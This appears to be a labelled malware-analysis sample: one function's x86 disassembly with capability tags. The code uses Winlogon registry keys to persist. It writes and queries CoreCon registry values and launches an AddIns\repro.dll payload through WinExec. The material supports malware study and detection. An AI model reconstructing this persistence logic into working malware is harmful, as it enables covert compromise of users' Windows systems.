Function at 0x403d00
Capabilities:
Accept command line arguments
Create process on windows
Get common file path
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41e8cb
push eax
mov dword fs:[0], esp
sub esp, 0x1dc
push ebx
push ebp
push esi
xor ebx, ebx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.0041d12e
test eax, eax
jne 0x403d69
push str.Fatal_Error:_MFC_initialization_failed
push 0x42dd60
call fcn.00404710
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.00404450
mov ecx, esi
call fcn.004045c0
mov eax, 1
jmp 0x404391
xor esi, esi
mov dword [esp + 0x1c], esi
lea eax, [esp + 0x30]
mov ebp, 0x104
push eax
mov dword [esp + 0x1f8], ebx
mov dword [esp + 0x2c], ebp
call fcn.00414f10
mov ecx, dword [eax]
mov edx, dword [0x427ec4]
mov dword [esp + 0x38], ecx
mov dword [esp + 0x28], ebp
mov dword [esp + 0x24], edx
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x18]
push eax
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftCoreCon
push 0x80000002
mov byte [esp + 0x208], 1
mov dword [esp + 0x2c], ebx
call edi
cmp eax, ebx
jne 0x403dd0
mov esi, dword [esp + 0x18]
jmp 0x403e31
lea ecx, [esp + 0x30]
lea edx, [esp + 0x18]
push ecx
push edx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SOFTWAREMicrosoftCoreCon
push 0x80000002
mov dword [esp + 0x3c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
jne 0x403e03
mov esi, dword [esp + 0x18]
mov dword [esp + 0x1c], esi
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ebx
push eax
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftCoreCon
push 0x80000002
call edi
cmp eax, ebx
jne 0x403e35
cmp esi, ebx
je 0x403e2d
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x18]
mov dword [esp + 0x1c], esi
push ebp
lea ecx, [esp + 0x28]
call fcn.00419547
lea ecx, [esp + 0x28]
lea edx, [esp + 0x14]
push ecx
push eax
push edx
push ebx
push str.mature
push esi
mov dword [esp + 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x28]
mov edi, eax
call fcn.00419596
cmp edi, ebx
jne 0x4043aa
mov eax, dword [esp + 0x24]
cmp dword [eax - 8], ebx
je 0x4043aa
cmp esi, ebx
je 0x403e8e
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov dword [esp + 0x1c], esi
push 4
lea ecx, [esp + 0x18]
push ebx
push ecx
lea ecx, [esp + 0x30]
call fcn.004148e7
mov eax, dword [eax]
push eax
call fcn.00406228
add esp, 4
lea ecx, [esp + 0x14]
mov edi, eax
call fcn.00419163
push 7
lea edx, [esp + 0x18]
push 5
push edx
lea ecx, [esp + 0x30]
call fcn.004148e7
mov eax, dword [eax]
push eax
call fcn.00406228
add esp, 4
lea ecx, [esp + 0x14]
mov ebp, eax
call fcn.00419163
push 0xa
lea eax, [esp + 0x18]
push 8
push eax
lea ecx, [esp + 0x30]
call fcn.004148e7
mov eax, dword [eax]
push eax
call fcn.00406228
add esp, 4
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.00419163
push 0xffffffffffffffff
push 0
push 0
push 0
push ebx
push ebp
push edi
lea ecx, [esp + 0x4c]
call fcn.00414e2c
push ecx
mov ecx, dword [esp + 0x34]
mov eax, esp
mov dword [esp + 0x18], esp
mov dword [eax], ecx
lea ecx, [esp + 0x3c]
call fcn.00404440
test eax, eax
je 0x40436c
xor ebp, ebp
lea ecx, [esp + 0x58]
push ebp
call fcn.00401000
lea ecx, [esp + 0x58]
mov byte [esp + 0x1f4], 2
call fcn.00401190
mov edx, dword [0x427ec4]
mov dword [esp + 0x2c], edx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push ebp
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
mov byte [esp + 0x208], 3
mov dword [esp + 0x24], ebp
call ebx
cmp eax, ebp
jne 0x403f9e
cmp esi, ebp
je 0x403f96
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x10]
mov dword [esp + 0x1c], esi
push 0x104
lea ecx, [esp + 0x30]
mov dword [esp + 0x2c], 0x104
call fcn.00419547
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x14]
push eax
push edx
push ebp
push str.FilePath
push esi
mov dword [esp + 0x28], ebp
call edi
push 0xffffffffffffffff
lea ecx, [esp + 0x30]
call fcn.00419596
cmp esi, ebp
je 0x403fee
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov dword [esp + 0x1c], esi
mov eax, dword [0x427ec4]
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x1f4], 4
push ecx
push 0xf003f
push ebp
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call ebx
cmp eax, ebp
jne 0x40403f
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x10]
lea eax, [esp + 0xe8]
push edx
push eax
push ebp
push ebp
push str.AltDefaultUserName
push ecx
mov dword [esp + 0x28], 0x104
call edi
jmp 0x40404d
push str.Administrator
lea ecx, [esp + 0x1c]
call fcn.004192a0
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0xe8]
lea ecx, [esp + 0x18]
push eax
call fcn.004192a0
mov ecx, dword [0x427ec4]
mov dword [esp + 0x20], ecx
push 0x100
push 0x100
lea ecx, [esp + 0x28]
mov byte [esp + 0x1fc], 5
call fcn.00419547
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x24]
call fcn.00419596
push 0x5c
lea ecx, [esp + 0x24]
call fcn.004195de
lea edx, [esp + 0x10]
push eax
push edx
lea ecx, [esp + 0x28]
call fcn.004149f9
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x1f8], 6
call fcn.00419250
lea ecx, [esp + 0x10]
mov byte [esp + 0x1f4], 5
call fcn.00419163
lea ecx, [esp + 0x3c]
call fcn.00404d04
mov eax, dword [esp + 0x2c]
push ebp
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x1fc], 7
call fcn.00404dc7
mov edi, dword [sym.imp.KERNEL32.dll_WinExec]
test eax, eax
jne 0x40416f
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x14]
call fcn.00418ed8
push str.Documents_and_Settings_
lea ecx, [esp + 0x14]
mov byte [esp + 0x1f8], 8
call fcn.004194f3
lea edx, [esp + 0x18]
lea ecx, [esp + 0x10]
push edx
call fcn.0041952f
push str.Application_DataMicrosoftAddIns_repro.dll
lea ecx, [esp + 0x14]
call fcn.004194f3
push 0x427ce0
lea ecx, [esp + 0x14]
call fcn.004194f3
mov eax, dword [esp + 0x10]
push 5
push eax
call edi
lea ecx, [esp + 0x10]
mov byte [esp + 0x1f4], 7
call fcn.00419163
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], ebp
push ecx
push 0x20019
push ebp
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call ebx
cmp eax, ebp
jne 0x4041a1
cmp esi, ebp
je 0x404199
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x10]
mov dword [esp + 0x1c], esi
mov edx, dword [0x427ec4]
mov dword [esp + 0x28], 0x104
mov dword [esp + 0x34], edx
mov bl, 9
push 0x104
lea ecx, [esp + 0x38]
mov byte [esp + 0x1f8], bl
call fcn.00419547
lea ecx, [esp + 0x28]
lea edx, [esp + 0x10]
push ecx
push eax
push edx
push ebp
push str.Userinit
push esi
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x38]
call fcn.00419596
lea ecx, [esp + 0x2c]
call fcn.0041962b
lea ecx, [esp + 0x34]
call fcn.0041962b
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x34]
push eax
call fcn.00414a93
cmp eax, 0xffffffff
jne 0x40427d
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x14]
call fcn.00418ed8
push str.Documents_and_Settings_
lea ecx, [esp + 0x14]
mov byte [esp + 0x1f8], 0xa
call fcn.004194f3
lea edx, [esp + 0x18]
lea ecx, [esp + 0x10]
push edx
call fcn.0041952f
push str.Application_DataMicrosoftAddIns_repro.dll
lea ecx, [esp + 0x14]
call fcn.004194f3
push 0x427ce0
lea ecx, [esp + 0x14]
call fcn.004194f3
mov eax, dword [esp + 0x10]
push 5
push eax
call edi
lea ecx, [esp + 0x10]
mov byte [esp + 0x1f4], bl
call fcn.00419163
cmp esi, ebp
je 0x40428e
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov dword [esp + 0x1c], esi
lea ecx, [esp + 0x34]
mov byte [esp + 0x1f4], 7
call fcn.00419163
lea ecx, [esp + 0x3c]
mov byte [esp + 0x1f4], 5
call fcn.00404d41
lea ecx, [esp + 0x20]
mov byte [esp + 0x1f4], 4
call fcn.00419163
lea ecx, [esp + 0x18]
mov byte [esp + 0x1f4], 3
call fcn.00419163
lea ecx, [esp + 0x2c]
mov byte [esp + 0x1f4], 2
call fcn.00419163
lea ecx, [esp + 0xe4]
mov byte [esp + 0x1f4], 0x10
call fcn.00419163
lea ecx, [esp + 0xe0]
mov byte [esp + 0x1f4], 0xf
call fcn.00419163
lea ecx, [esp + 0xdc]
mov byte [esp + 0x1f4], 0xe
call fcn.00419163
lea ecx, [esp + 0xd0]
mov byte [esp + 0x1f4], 0xd
call fcn.00419163
lea ecx, [esp + 0xcc]
mov byte [esp + 0x1f4], 0xc
call fcn.00419163
lea ecx, [esp + 0xb4]
mov byte [esp + 0x1f4], 0xb
call fcn.00415045
lea ecx, [esp + 0x58]
mov byte [esp + 0x1f4], 1
call fcn.00415789
xor ebx, ebx
call fcn.00403710
lea ecx, [esp + 0x24]
mov byte [esp + 0x1f4], 0
call fcn.00419163
cmp esi, ebx
je 0x40438f
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [esp + 0x1ec]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x1e8
ret
push ecx
lea ecx, [esp + 0x34]
mov dword [esp + 0x34], esp
mov eax, esp
push ecx
lea ecx, [esp + 0x40]
mov dword [eax], 0x3f480
call fcn.00404420
lea edx, [esp + 0x14]
push str._Y__m__d__H:_M:_S
push edx
lea ecx, [esp + 0x38]
call fcn.00414f23
mov eax, dword [esp + 0x14]
push eax
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push ebx
push str.mature
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp esi, ebx
je 0x404408
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov dword [esp + 0x1c], esi
lea ecx, [esp + 0x14]
call fcn.00419163
jmp 0x40436e